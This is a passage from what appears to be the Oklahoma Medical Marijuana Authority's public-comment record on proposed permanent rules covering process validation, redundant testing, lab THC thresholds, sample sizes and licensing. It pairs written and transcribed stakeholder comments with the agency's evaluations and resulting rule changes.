(I) Quality attributes and specifications, including, but not limited to, references to where the medical marijuana business's quality attributes and specifications are listed in their standard operating procedures and examples of actual results from approved raw materials, ingredients, and final products compared with specifications. Specifications serve as the criteria that describe the acceptable limits for the quality attributes. For the purposes of this section, "quality attributes" means the desired physical, chemical, biological, or microbiological properties or characteristics medical marijuana and medical marijuana products should have to ensure quality. For the purposes of this section, "specification" means any requirement with which a process, ingredient, medical marijuana, or medical marijuana product must conform, including but not limited to, the requirements set forth in these Rules and those written in a medical marijuana licensee's standard operating procedures;

(J) Process verification, including, but not limited to, procedures for how the medical marijuana business will conduct process verification activities along with their frequency, monitoring parameters, and acceptance criteria;

(K) Conclusion, including, but not limited to, a summary of the process validation results, a statement on whether the processes were successfully validated, and plans for any improvements or changes, if applicable;

(L) Attachments, including, but not limited to, raw data, calibration certificates, equipment manuals, testing results, and other relevant documents that supply information and evidence of process validation; and

(M) Approval and sign-off, including signatures of the validation team and management with dates confirming the accuracy and completeness of the report.

(8) Process validation self-assessment or third-party good manufacturing practices certification. Licensees must submit annually to the Authority at least one of the following:

(A) A process validation self-assessment, provided by the Authority, to determine the licensee's compliance with process validation requirements. For successful completion of the process validation self-assessment, licensees must achieve a score indicating eighty percent (80%) adherence or

higher, in addition to adhering to the other requirements in this subchapter. The process validation self-assessment shall be submitted with any new or renewal process validation applications and must detail any corrective and preventive action taken or planned and any areas of non-compliance, if identified

(B) A Good Manufacturing Practices certification document from a certification body that is ISO 17021-1:2015 or ISO 17065:2012 accredited, recognized by the International Accreditation Forum (IAF), and approved by the Authority. The certification document shall be submitted with the audit report, the medical marijuana licensee's responses to deficiencies, and associated corrective and preventive action documentation, if applicable.

(d) Application.

(1) Application fee. The nonrefundable, annual registration fee of Five Thousand Dollars ($5,000.00) per licensee is in addition to any other fees due by the licensee.

(2) Submission. Applications for a licensee to achieve process validation shall be on the Authority prescribed form and shall include the following information about the licensee:

(A) Name of the establishment;

(B) Physical address of the establishment, including the county in which any licensed premises will be located;

(C) GPS coordinates of the establishment;

(D) Phone number and email of the establishment; and

(E) Hours of operation for any licensed premises.

(3) Supporting documentation. Each application for process validation shall be accompanied by the following documentation:

(A) Accreditation documentation, including documentation of enrollment in analyte specific proficiency testing results, showing applicants meet requirements stated in these Rules;

(B) Standard operating procedures, policies, protocol or procedures for receipt, handling, and disposition of samples of usable marijuana, as well as documented proof of required programs and standard operating procedures required by this subchapter;

(C) Documented compliance with required programs and standard operating procedures pursuant to OAC 10-11-1(c)(6);

(D) Process Validation report;

(E) Process validation self-assessment or third-party good manufacturing practices certification;

(F) If applicable, reference standards, sample analysis procedures, and documentation demonstrating that the analytical methods used by the laboratory are appropriate for their intended purpose;

(G) Policies for data recording, review, storage, and reporting and record retention requirements; and

(H) Any further documentation or information the Authority determines is necessary to ensure the applicant is qualified under Oklahoma law and these Rules.

(4) Incomplete application. Failure to submit a complete application with all required information and documentation shall result in a rejection of the application. The Authority shall notify the applicant via email through the electronic application account of the reasons for the rejection.

(e) Record retention requirements. Licensees must establish document retention policies and shall keep all records and documents related to their process validation ready and accessible at the address listed on their marijuana business license for inspection or audit by the Authority.

(1) Records shall be maintained by the licensee for as long as the licensee is continuing to operate under that validated process.

(2) Licensees shall retain all such documents and records for at least four (4) years after the licensee has stopped using the validated process or after the licensee has made a significant process change to a validated process. Any significant process change to the validated processes of a licensee is subject to the same document retention requirements and shall be retained for as long as the significant process change is part of an ongoing validated process, and for at least four (4) years after the licensee has stopped using the validated process or after the licensee has made a subsequent significant process change to the validated process.

(3) Records shall be maintained of all inspection, maintenance, testing, and calibrating operations. These records shall include the date of the operation, the person who performed it, the written procedure used, and any deviations from the written procedure. All deviations must be reviewed and approved in writing by the medical laboratory director.

(f) Biannual inspections.

(1) Submission of an application to operate under process validation constitutes permission for entry to and inspection of any licensed premises and any vehicles on the licensed premises used for the transportation of medical marijuana and medical marijuana products during hours of operation and other reasonable times. Refusal to permit or impeding such entry or inspection shall constitute grounds for administrative penalties, which may include but are not limited to fines as set forth in Appendix C and the nonrenewal, suspension, and/or revocation of a license.

(2) Licensees shall be subject to biannual inspections by the Authority that include random testing of products being produced under process validation. The Authority shall obtain the random sample during the biannual inspections and take samples to the quality assurance laboratory. The Authority shall have access to all products being produced or grown under process validation.

(3) The Authority may review any and all records of a licensee and may require and conduct interviews with such persons or entities and persons affiliated with such entities, for the purpose of determining compliance with Authority Rules and applicable laws. Failure to make documents or other requested information available to the Authority and/or refusal to appear or cooperate with an interview shall constitute grounds for administrative penalties, which may include, but are not limited to, fines as set forth in Appendix C and the denial, nonrenewal, suspension, and/or revocation of a license. All records shall be kept on-site and readily available.

Reasoning
We appreciate the Authority's hard work and effort in proposing process validation rules. We understand the complexities surrounding such policies are not easy, primarily when the medical marijuana industry is regulated very differently than other industries that can exercise significantly more legal benefits and operational efficiencies. As a seasoned and responsible business that was also the primary stakeholder behind HB3929, the legislation behind process validation, we recognize the importance of a systematic and documentable approach to ensure manufacturing consistency and reliability and the reward of transitioning from arbitrary to risk-based product testing. We respectfully ask OMMA to consider our requests outlined in this document to ensure the process validation system is operable, enforceable, and overall successful, considering operational realities and regulatory resources.

OAC 442:10-11-1(c)(3) outlines the initial requirements to achieve process validation. The current proposed rules from the Authority need to include critical information that should be input into Metrc when a licensee submits a sample while attaining and maintaining process validation. Such information must consist of the product that is achieving process validation and the specific contaminant(s) associated with the validation. Using risk-based approaches, a licensee may not want or may not scientifically be able to validate all contaminants for all products. Therefore, such a licensee must be able to choose what contaminants are being validated during the process, which must be recorded in Metrc during the sample creation. This transparency will ensure OMMA receives real-time data to understand a licensee's process validation process better, while gaining essential information that will
enable accurate and timely enforcement if warranted. Additionally, it is critical that if a licensee fails for a contaminant they are not validating, it should not impact their process validation achievement for other contaminants that are part of the process. For example, if the licensee is only validating a concentrate for residual solvents and it fails for pesticides, the licensee should be able to continue with validating that product for residual solvents. Lastly, and like any other industry, lab variability, human error, and false positives, it is critical that licensees can submit a retest to verify the accuracy of test results. If a retested sample is below the action limits of a contaminant(s) seeking validation, then the licensee should be able to continue their validation process.
OAC 442:10-11-1(c)(4) establishes ongoing standards to maintain process validation. We noticed a typo within the first sentence that requires licensees to continue submitting every batch to testing after achieving process validation. Since process validation aims to conduct less testing in totality, we recommend striking the typo and replacing with ongoing testing standards that require licensees to submit validated products to ongoing testing every thirty days to ensure processes are consistent.
Additionally, we recommend allowing licensees to follow retest protocols under OAC 442:10-8-1(j) if failure is experienced during ongoing testing. Lastly, similar to our recommendation within OAC 442:10-11-1(c)(3), it is vital that licensees can verify the accuracy of test results through preexisting means of being able to retest samples. If the retest is below applicable action limits, then the licensee should be able to continue exercising process validation.
Our final recommendation is to remove Quality Management System (QMS) requirements and replace them with Hazard Analysis Critical Control Point regulations due to current operational realities and limited regulatory resources. Cannabis operators should be granted the flexibility to utilize process validation alongside a HACCP system rather than mandating a QMS, primarily due to the significant operational costs associated with implementing a QMS, which is projected to be $250,000 minimum. Such costs include employing a quality manager, additional equipment, additional third-party testing, training, and maintenance. By allowing process validation within a HACCP framework, medical marijuana businesses can still uphold rigorous quality and safety standards while mitigating the financial burden of a full QMS implementation. This approach acknowledges the unique challenges faced by

cannabis businesses, including the onerous tax burden imposed by 280E, while also being the only industry that is exclusively required to test through third-party labs, which further exacerbates operational costs. Remember, non-cannabis businesses such as commercial food and pharmaceutical industries test in-house and can write off such costs, enabling an operationally cost-effective QMS. Moreover, since cannabis operators are already subject to stringent regulatory oversight, integrating process validation with a HACCP system offers a pragmatic solution to ensure product safety and quality without imposing undue financial strain on businesses. It aligns with the broader goal of fostering a competitive and sustainable cannabis industry while maintaining robust regulatory compliance and consumer protection standards.

In connection thereof, OMMA, while diligent in its regulatory responsibilities, faces significant resource and expertise constraints, particularly when compared to the extensive capabilities of the Food and Drug Administration (FDA). The FDA's vast technical knowledge and resources enable it to effectively regulate QMS, a level of oversight that OMMA may find challenging to replicate given its more limited resources and expertise. In this context, regulating a Hazard Analysis Critical Control Point (HACCP) system presents a more feasible alternative for OMMA. HACCP requires less resource allocation for regulation while still providing a robust framework for process validation, aligning with the operational realities of the medical marijuana industry. Furthermore, the variability of lab results, the potential for errors in third-party sampling and transportation, and the occurrence of false positives can disproportionately drain OMMA's regulatory resources. This is especially true as disputes over test failures could lead to extensive litigation, particularly if businesses have made substantial investments in QMS to achieve process validation, only to have it invalidated by questionable test results. Adopting a HACCP system would mitigate these challenges, offering a balanced approach that maintains high safety standards without overwhelming regulatory capacities or precipitating unnecessary legal disputes.

Conclusion

We commend the Authority's dedication to crafting meaningful process validation rules for the medical marijuana industry despite the regulatory complexities unique to this field. As the driving force behind HB3929, we understand the critical need for a structured, evidence-based approach to ensure product consistency and the benefits of moving towards risk-based testing. Our recommendations aim to refine these proposed rules to reflect the operational and regulatory realities facing our industry, advocating for a practical balance between stringent safety standards and the economic viability of cannabis businesses. By incorporating our suggestions, including the critical need for transparency in Metrc and the adoption of HACCP over QMS due to the prohibitive costs and operational challenges (i.e., current tax burdens imposed by 280E and required only to conduct testing via a third-party lab), we believe OMMA can establish a process validation framework that is not only effective and enforceable but also supportive of industry growth and innovation. This approach will not only safeguard consumer health but also bolster the industry's sustainability and competitiveness by acknowledging and addressing the unique challenges we face.

Subject: Redundant Testing

Oklahoma Medical Marijuana Authority,

As part of the stakeholder engagement process concerning the Authority's proposed rules, we respectfully ask OMMA to consider the following public comment below.

OKAF, Inc. Summary Request

- Adopt technical changes within OAC 442:10-8-1(s)(4) to ensure clarity of the Authority's proposed policy.
- Add pesticides to scope of contaminants that would not forgo redundant testing as proposed in OAC 442:10-8-1(s)(4).
- Add additional section, OAC 442:10-8-1(s)(5), to address redundant testing of harvest batches if the product was grown and allocated to extraction at the same location by same licensee.

OKAF, Inc. Proposal
OAC 442:10-8-1(s) - Testing of pre-rolls, kief, shake and trim, medical marijuana concentrate, medical marijuana products and harvest batches.
(4) Medical marijuana concentrate and medical marijuana infused products. Medical marijuana concentrate and medical marijuana infused products, excluding infused pre-rolls, must be tested for microbials, mycotoxins, residual solvents, heavy metals, pesticide residue, THC and cannabinoid concentration, terpenoid type and concentration, and foreign material and filth. If the medical marijuana product is made from medical marijuana concentrate that has previously passed residual solvents, pesticide residue, and heavy metals testing then testing for residual solvents, pesticide residue, and heavy metals are not required for that product. If a licensee produces both the medical marijuana concentrate and the medical marijuana infused product from that concentrate, the licensee may forgo testing the medical marijuana concentrate, provided the medical marijuana infused product successfully passes all testing requirements under OAC 442:10-8-1(i).

(5) Harvest batches allocated to extractions. Harvest batches must be tested for microbials, heavy metals, pesticide residue, THC and cannabinoid concentration, terpenoid type and concentration, and foreign material and filth. If a medical marijuana business produces both the harvest batch that is entirely allocated to extractions and the medical marijuana concentrate at the same location, the licensee may forgo testing the harvest batch, provided the medical marijuana concentrate successfully passes all testing requirements under OAC 442:10-8-1(i).

(A) For the purposes of OAC 442:10-8-1(s)(5), location is the same address shared between the commonly owned grower and processor.

Reasoning
The Authority's purpose of OAC 442:10-8-1(s)(4) is to address the issue of redundant testing. Currently, testing requirements account between 70 – 85% of a grower or processor's operating budget, far exceeding labor, equipment, packaging, licensing, and other compliance-related costs combined, which is drastically divergent from common business practices comparatively to oil and gas, commercial food, and pharmaceutical industries who allocate significantly less of their operating budget to testing. While we applaud and appreciate OMMA's attempt to address redundant testing, there are additional areas that must be addressed that would alleviate operators as well as continue our mission of maintaining public health and safety.
Our first requested change is to the title of OAC 442:10-8-1(s)(4), which continues to list the additional product categories within the corresponding subsections. Other technical changes include striking "infused" associated with "medical marijuana infused product". Since "medical marijuana infused product" is not a defined term with OAC 442:10-1-4, it is critical to consistently refer to the applicable defined term of "medical marijuana product" to prevent confusion and misunderstanding. If the Authority wishes to interchangeably use "medical marijuana infused product" and "medical marijuana product", it is highly recommended to define "medical marijuana infused product" in rule.
Our second request is to include pesticide residue within the list of contaminants that would not require

testing if the concentrate has already passed such contaminant testing. When evaluating risk, medical marijuana products such as edibles and topicals possess non-cannabis ingredients that FDA regulates to ensure such ingredients or additives do not contain harmful amounts of pesticides and other contaminants. Additionally, if two concentrate production batches pass all required testing and are combined into another concentrate batch, there is no risk of pesticide residue, heavy metals, and residual solvents in the new resulting batch when the two baches were simply combined.
Our last requested change expands the scope of OAC 442:10-8-1(s) to include an additional section addressing redundant testing of harvest batches allocated to extractions when grown and extracted by the same medical marijuana business at the same location. Similar to OAC 442:10-8-1(s)(4), the requested subsection emphasizes final product testing of the concentrate while allowing the harvest batch, which is exclusively used as an ingredient to produce the concentrate, to forgo testing. Currently, testing of harvest batches that are allocated to extractions, especially within a vertically integrated business, achieves little in promoting public safety when the concentrate is already required to pass full testing. The passing of testing of the final concentrate ensures the concentrate is safe for patients.
Additionally, to reduce risk and maintain public safety, we recommend this only be exercised by a medical marijuana business that possesses a grower and processor license at the same location (address) to ensure quality logistics through a single supply chain. This would allow such companies to use savings to reinvest in their production operations and achieve high standards seen in other industries.

Conclusion
OAC 442:10-8-1(s)(4) has been put in place with the primary objective of tackling the issue of repetitive testing within the medical marijuana industry. Currently, an overwhelming 70% to 85% of a grower or processor's operational budget is allocated towards testing requirements, a stark contrast to industries like oil and gas, commercial food, and pharmaceuticals, which dedicate far less of their budgets to

testing. While we appreciate OMMA's efforts in this regard, it is crucial to underscore the necessity of further reductions in redundant testing to both support operators and maintain public health and safety, while ensuring such policies are understandable by operators. To address this, our initial request is to revise the title of OAC 442:10-8-1(s)(4) and maintain consistent terminology regarding "medical marijuana products." Furthermore, we advocate for the inclusion of pesticide residue in the list of contaminants exempt from testing if the concentrate has already passed such assessments. This is in alignment with FDA regulations governing non-cannabis components, such as food and additives, in medical marijuana products. Lastly, we urge the expansion of OAC 442:10-8-1(s) to encompass the issue of redundant testing for harvest batches utilized in extractions by the same medical marijuana business. By doing so, we can significantly reduce unnecessary costs, improve operational efficiency, and uphold safety standards, ultimately allowing businesses to invest more in quality, in line with the practices of other industries.

Kevin Gallagher

OMMA Evaluation:
Thank you for your comment and thoughtful suggestions. HB 4056 (2022) and 63 O.S. § 427.17 required changes to required laboratory testing rules while HB3929 (2022) and 63 O.S. 427.17 required process validation. Additional changes to this statutory requirement can only be made by the Legislature. As it relates to the pesticide testing requirement, the Authority will be making changes to permanent rules to remove pesticide testing from the required tests in OAC 442:10-8-1(s)(1)(b) and OAC 442:10-8-1(s)(4) if the concentrate has previously passed pesticide testing. As it relates to the term “flash frozen”, the Authority will be making changes to permanent rules to replace references to “flash frozen” to “fresh frozen” in OAC 442:10-8-1(i)(9). Thanks again for taking the time to share your thoughts and feedback

with us.

Change:
The Authority adjusted required pesticide testing in **OAC 442:10-8-1(s)(1)(b)** and **OAC 442:10-8-1(s)(4)** and replaced the term “flash frozen” with “fresh frozen” in **OAC 442:10-8-1(i)(9).**

Comment:
Please consider this correspondence as a part of the official public comment record pertaining to OMMA's proposed rules. Our final comment addresses the need to require evidence of remitted state taxes during a business license renewal.

)klahoma Medical Marijuana Authority,
.s part of the stakeholder engagement process concerning the Authority’s proposed rules, we respectfully ask OMMA to consider the following public comment below.

OKAF, Inc. Summary Request

- During a renewal, require business licensees to provide evidence that all owed state taxes have been remitted. If taxes have not been remitted, then the Authority should not renew the license.

OKAF, Inc. Proposal

)AC 442:10-5-2(c)

(6) The Authority shall require a commercial licensee attempting to renew its license to evidence remitment of taxes to the Oklahoma Tax Commission, including but not limited to sales taxes as required by 68 O.S. § 1354 of Oklahoma Statutes. If the licensee cannot provide evidence that all taxes owed to the Tax Commission have been remitted, the Authority shall not renew the commercial licensee’s business license.

Reasoning

Ve wholeheartedly endorse the Authority's proposed regulation under OAC 442:10-5-6.1(h), mandating the permanent revocation of a business license should the licensee deliberately fail to remit state taxes. It is critical for the maintenance of a fair and competitive business environment that the Authority be furnished with verifiable evidence of a business licensee's compliance with state tax obligations. Entities that evade tax liabilities, whether intentionally or otherwise, unfairly disadvantage compliant businesses by undermining the level playing field. Consequently, we advocate for the Authority's prerogative to withhold the renewal of any business license from commercial licensees who have not fulfilled their tax remittance responsibilities to the Oklahoma Tax Commission.

Kevin Gallagher

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. OMMA works with its regulatory and agency partners across the State of Oklahoma, including on tax compliance issues. While your comment doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
thank you yes my name is Estella Castro and I'm representing austinite cannabis company and let's see I'd like to see if I could ask if there is any way that we can talk to somebody about compliance questions answers ask why there are any roles starting to favor the big guys over hurting the mom and pop operations like myself um waiting on a um answer from the OM for the last two years on a renewal um then let me see what else I have didn't think I was going to be going first so I'd like to see if there is going to be any addressing of any lettering um after the 90 days that you said that y'all are going to allow of any renewals or cancellations and it has been since July of 2023 and waiting on a renewal since September of 2022 which has been 2 years now and I have filled out all my documentation had numerous um inspections at my other dispensaries and I would just like to see if there's ever going to be a time where I can speak to somebody face to face about issues I'm having with um getting renewals and how the laws are getting changed with that so I think that's going to be it

Estelle Castro

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
my name is Jeffrey Havard I am the lab manager and owner of Havard Industries the Cannabis Testing Lab located here in Oklahoma uh I'm here to speak on uh part I uh page 80 of the proposed permanent rules uh currently it's stating that uh Labs should internally retest samples at 30% THC and that the QA lab should be um testing at 32.5% THC uh I understand why this uh rule is probably proposed to uh address uh inflation of THC numbers that uh is commonly happening in a lot of the Cannabis markets uh we looked into this quite extensively and we found that like the average THC of uh cannabis flowers is quite considerably lower um a lot of studies are showing between 15 to 20% uh we actually did a study our ourselves and found that like the uh total amount of THC that was in the samples that we tested was quite considerably lower than what was being reported out there in labels um and we do have these reports available for anybody that wants to uh take a look at that as well um we're actually proposing that this uh limit be far lower to actually try to address this concern of the inflation so our proposal is that um that the labs internally retest at uh 22.5% THC to 25% and that the QA lab steps in at 25.1% and more so hopefully uh uh start addressing this uh issue of inflation so if you want to copy the report or have any questions uh in regards to it um please feel free to come see me after the meeting thank you

Jeffrey Howard

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not

be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
hi everyone my name is Dalton Hilburn I'm a senior technician at Havard Industries one of the Cannabis Testing Labs here in the state I'm here today to address Part B page 74 of the permanent rules and tell you why I'm opposed to it this rule pertains to the specification of equipment and protocols that are to be used in the testing labs this needs to stop there are many different types of of equipment available many different ways to prepare samples for testing laws that tell us how to do this not only limit what we can do but may actually be worse for the industry for example let's say you wish to travel from one city to another there are many different ways actually and they're all correct you can choose from a variety of vehicles to get you from point A to B you can also choose from many different roads to get you to your destination the vehicles and paths that you can take are all correct and in the end the correct result is what [Music] matters laboratory proficiency testing is already required by law to ensure the labs are getting the correct answer this accounts for any variation in methods and equipment any attempt to specify the type of equipment or protocols we must use are just killing Innovation better ways of testing are always evolving this rule only adds unnecessary expenses to an already financially demanding industry while this particular Law relates to the ICP or the equipment that tests for heavy metals we are opposed to any specification of any equipment or protocols for any of the testing whatsoever trying to fit all the labs into a box is not the solution thank you

Dalton Hilburn

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
okay oh yeah okay uh my name is Muhammad Ali migy uh I'm with Havard Industries uh I went from the operations end then to the uh marketing and pickup sample pickup and uh what I'm here to kind of uh talk about is the addressing of sample sizes uh I believe that they changed it to seven G uh we we believe that stating the sample size should be determined by the lab and not externally uh also we we would also like to state that the labs should be sampling enough to make them accurate and should be determined internally as that's done through ISO to validate your scientific process uh also state that uh everything is an honor System whenever I go to pick up samples I don't really know exactly where these samples actually came from and the reality is I'm not extracting them from the plan or they harvest so the reality is is that who knows where that sample came from it's kind of all an honor System if this is is all about safety for the patients then we're I don't I don't I don't see any new rules addressing those issues these are

these are massive issues in my opinion when I pick up a sample for us as a lab we're just our job is to test the sample that's provided to us it's not for us to kind of police I mean there's certain things that of of uh possibly uh tampering with the sample there's a lot of lot of red flags um uh the other point I'd like to make is on the sample field logs uh other than a paper trail for ma uh and Who sampled this doesn't give us any relevant data for the lab we don't know why we should be holding on to sample field logs at all uh I believe the lab group was trying to address that as well um we just see a lot of inconsistencies also the potency being able to affect uh the economics within like as Jeff stated earlier he's he's the leader of our lab uh with the potency really affecting the direct economics and seeing the inflation of potency and also the averages in Colorado being like 19% the averages in Denmark which has had a legal market for a lot longer than we have uh those averages being 177% high THC being considered anything over 177% in the in the typical cannabis industry if this is a medical field uh you know it's hard to judge what is going to be uh uh true especially whenever there's such economic interest and such Mis miseducation on what the the the uh medical uh effects of what THC are so uh with those inconsistencies and getting to meet people as I've met people in the industry and been able to uh go from the operations to actually meeting a lot of these clients from what I felt is the ones that feel like they're trying to follow the rules they're trying to be honest they feel like they're getting punished as they're trying to provide very good medicine for the for the industry and then we see those people drift off where they're almost forced into a corner of do they have to play the game the manipulative game of what economics end up providing for them or do they have to try to be honest and I see the ones that are trying to be honest and it looks like that they're hurting as a result so I think that a lot of rules need to be addressed on those things I appreciate your time thankyou

Mohammad Mirambeigui

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily addresses laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to minimum sample weight requirements, the Authority will be making changes to permanent rules to lower the sample sizes from 7 grams to 5 grams each in **OAC 442:10-8-3(b)(1)**. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority lowered required sample sizes from 7 grams to 5 grams each in **OAC 442:10-8-3(b)(1).**

Comment:
my name is Gary Wilson uh I'm with barking Leo Farms I want to start by saying I came into this business trying to provide because I thought it would be a regulated business on the level and we provide a good product off the black market that the patient could be trusting in what they're getting what I found since been here is were surrounded on all sides by nefarious actors even some actors that didn't start out nefarious are forced into it it's like steroids and baseball you can choose not to take the steroids but you're not going to go to the Home Run Derby right you're not going to get the new contract unless everybody's tested and they can't do it in the testing field there's absolutely an impossibility that the amount of testing we have at high test are actually accurate when you we've done what we consider uh an honest program sampling exactly as it should be done and we could have a variation of one plant 18 to 22% we have some that rate 25 26 they're designed for it others there's no way you would take an 18 strain and create a 32 out of that yet we're flooded on all sides by these high numbers this economic comes down on on us because all of a sudden my product honestly tested at an 18 19 and a 20 is relegated to a different economic level than somebody else that comes in and says a 28 to a 32 even though if you tested that on the side you'd find out that it's 10 points less this is bad on several reasons it's bad economically for an honest player it's also bad for the patient they don't know what they're getting if it happens in the THC it could also be

happening within the microbial it it could also be happening within the pesticides where you have a sample that you know is clean and it goes and and and what's really there is not and the patient doesn't know what they're getting I don't think the sample size addresses any part of that I believe that uh there are some ways to to mitigate it a little bit but the loopholes in corruption can find their their own little niches to get through that if you have a sample that tests over a certain amount it should automatically and I don't think 30's number I think it's probably around 28 and then you can watch the number stack at 275 and see what happens and then analytics should be able to tease out this data right but it it should be somewhere around that I don't think 23 is it I kind of disagree I think with with my my friends but definitely somewhere below the 30 Mark is is another number if that happens go back test the reserve and ask for another sample from the same batch so that if it's been adulterated we can find out is it the lab is it the grower because right now you can go and pick something up to dispensary test against their numbers and if it's 10 or 12% off or or a difference of that magnitude you don't know what's happening where it happened did it happen at the lab did it happen at the grower is it how the dispensary is holding it is it in a window is it all these other things that could modify that so I'm not pointing fingers at any one group but this data it can be teased out and so I believe that the sample size isn't it but you should have a a robust auditing system for anything that seems anomalous and within a range like 15 20% of of thing you can get that range right.

Geary Wilson

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
my name is Matt Doerr owner of a health cannabis company in Ardmore Oklahoma um one of my main issues is the employee uh credential for those who do services at our grow in Ardmore Oklahoma it's hard enough to find employees qualified and to come work on our grow much less asking if they're credential to work on our grow um that is a very difficult thing to overcome seeing how it's hard enough to find people to work down there anyway um also I'll bring it up under definitions you know the difference between a greenhouse and light deprivation is concrete floors that makes absolutely no sense as a grower light deprivation can come in a greenhouse and it doesn't matter if you have concrete floors or not if I have concrete floors in my Greenhouse then I'm also providing light dep for it doesn't change the fact that I'm still a greenhouse um I will mention the Growers Bond compared to oil and gas sites in the state of Oklahoma um oil and gas pays $25,000 Growers or a bond for multiple sites which has way more harm to our environment than any grower can possibly have at their grow site um as an insured company um insurance will fix any issues spills contamination um that happens from a grower or commercial business so why we're required to have double the bonds that a oil and gas company would have on a site that could possibly spoil all the environment that their site holds just blows my mind um as a as a licensed commercial applicator in the state of Oklahoma for over 30 years now my other company holds um fertilizer licenses um as a certified applicator and not once as a department of a come to me and said you need to have a bond for the fertilizer that you carry on your site so it makes no sense why Growers would have to have that as well as far as the tax on the retail marijuana sales I totally am for the um substance abuse programs for the uh red bug School acts um but I also think that there should be tax to help

OBNDD fight the black market that is happening in our state right now um we've seen a major decrease in patients purchasing uh Medical marijuana because they have so much out there on the black market to get and I believe most of our businesses are struggling with that and so I would ask for um some funding for OBNDD to help crack down on the black market I think that's all I have thank you

Matt Doerr

OMMA Evaluation:
Thank you for taking the time to share your comment. This comment relates to state statute rather than a proposed permanent rule. The requirement that all medical marijuana business employees apply for and receive a credential authorizing the employee to work in a licensed medical marijuana business is in state statute at 63 O.S. § 427.14b. The Authority will be making changes to permanent rules to clarify certain people who do not need to apply for and receive a credential in **OAC 442:10-5-1.1(13)**. Tiered licensing fees and the definition of "greenhouse" and "light deprivation" facilities are in state statute at 63 O.S. 427.14. As of FY2024, OMMA does not directly receive any excise tax revenue. Instead, the Legislature appropriates OMMA's funding annually, pursuant to 63 O.S. § 426. Additionally, the minimum bond requirement is in state statute at 63 O.S. § 427.26(B). It's important to note that changes to these statutory requirements fall within the jurisdiction of the legislature and cannot be changed by OMMA. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority clarified who does not need to apply for and receive a credential in **OAC 442:10-5-1.1(13)(A).**

Comment:
good morning excuse me uh my name is Kelsey Palmer I'm the director of operations for okaf Inc DBA Apothecary Farms Apothecary extracts um we have a couple changes um that we are requesting to have your ears for this morning um in summary we would like to change the term enroll from flash frozen to fresh frozen to accurately reflect the nationally Rec recognized term within cannabis Commerce secondarily um along with this is to allow fresh frozen to be delivered to a testing facility within 48 hours after the sample has been taken to allow the Harvest batch to freeze as intended within its final form um our reasoning behind this um first involving 44210 8-1 I9 is to change flash frozen to Fresh Frozen um as it is a nationally recognized term and whereas flash frozen is not necessarily accurate to referring to cannabis biomass um fresh frozen is a widely used term as I'm sure you're aware um that is more accurate towards our process as an extractor um our final recommendation seeks to refine the operational procedures for handling fresh frozen samples acknowledging the unique logistical challenges that they do represent being Frozen um fresh frozen biomass due to its necessity to be immediately Frozen post Harvest uh to maintain its quality demands a distinct approach for sampling and storage compared to traditionally dried biomass um really the biggest part of this is to ensure the integrative integrity and representativeness of this sample in its true final form um the sequence is crucial in attempting to sample from an already Frozen batch um because that introduces significant risk of contamination if we're breaking into an already Frozen batch to pull a sample out ideally obviously we would be pulling that and and at the time of harvest to make sure that we are getting that randomized sample across the board um as well as the fact that we need sufficient time to allow these samples to be frozen frozen before transferred to the lab whereas 24 hours sometimes does not give that adequate time to freeze appropriately um this approach not only adheres to really best practices within the industry on our end of things but also ensures the reliability of testing results thereby upholding the product quality and safety standards and that is really all I have this morning but I appreciate you guys' time

Kelsey Palmer

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to the term "flash frozen", the Authority will be making changes to permanent rules to replace references to "flash frozen" to "fresh frozen" in **OAC 442:10-8-1(i)(9)**. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority replaced the term "flash frozen" with "fresh frozen" in **OAC 442:10-8-1(i)(9)**.

Comment:
thank you my name is Kevin Gallagher I'm the director of compliance and Regulatory Affairs with okf OK AF Inc doing business as Apothecary farms and Apothecary extracts uh i' would like to talk about two things this morning uh redundant testing and process validation uh we appreciate the authorities uh attempt to address redundant testing Within 44210 --1 S4 uh we request to broaden the scope to pesticides if the initial concentrate has already been tested as such uh additionally we would like to address redundant testing uh to expand to harvest batches that are exclusively allocated to extractions uh when grown and extracted by the same business at the same location this ensures Quality Logistics within the same supply chain while maintaining public health safety through final product testing and enabling operations to use uh savings to reinvest in their production operations to achieve high standards seen in other Industries with process validation as the main stakeholder uh behind the policy with in House Bill 3929 we recognize the importance of a systematic and documentable approach to ensure manufacturing consistency and reliability Uh current rules render the program inoperable for businesses unfortunately uh one businesses should be able to choose the products and contaminants that are being validated just like other businesses under FDA oversight uh two we noticed a typo um that still requires all batches to be tested after achieving process validation our recommendation is after a business achieves uh process validation that there would be 30-day ongoing testing uh with those products that are validated next our recommendation is to remove the quality management 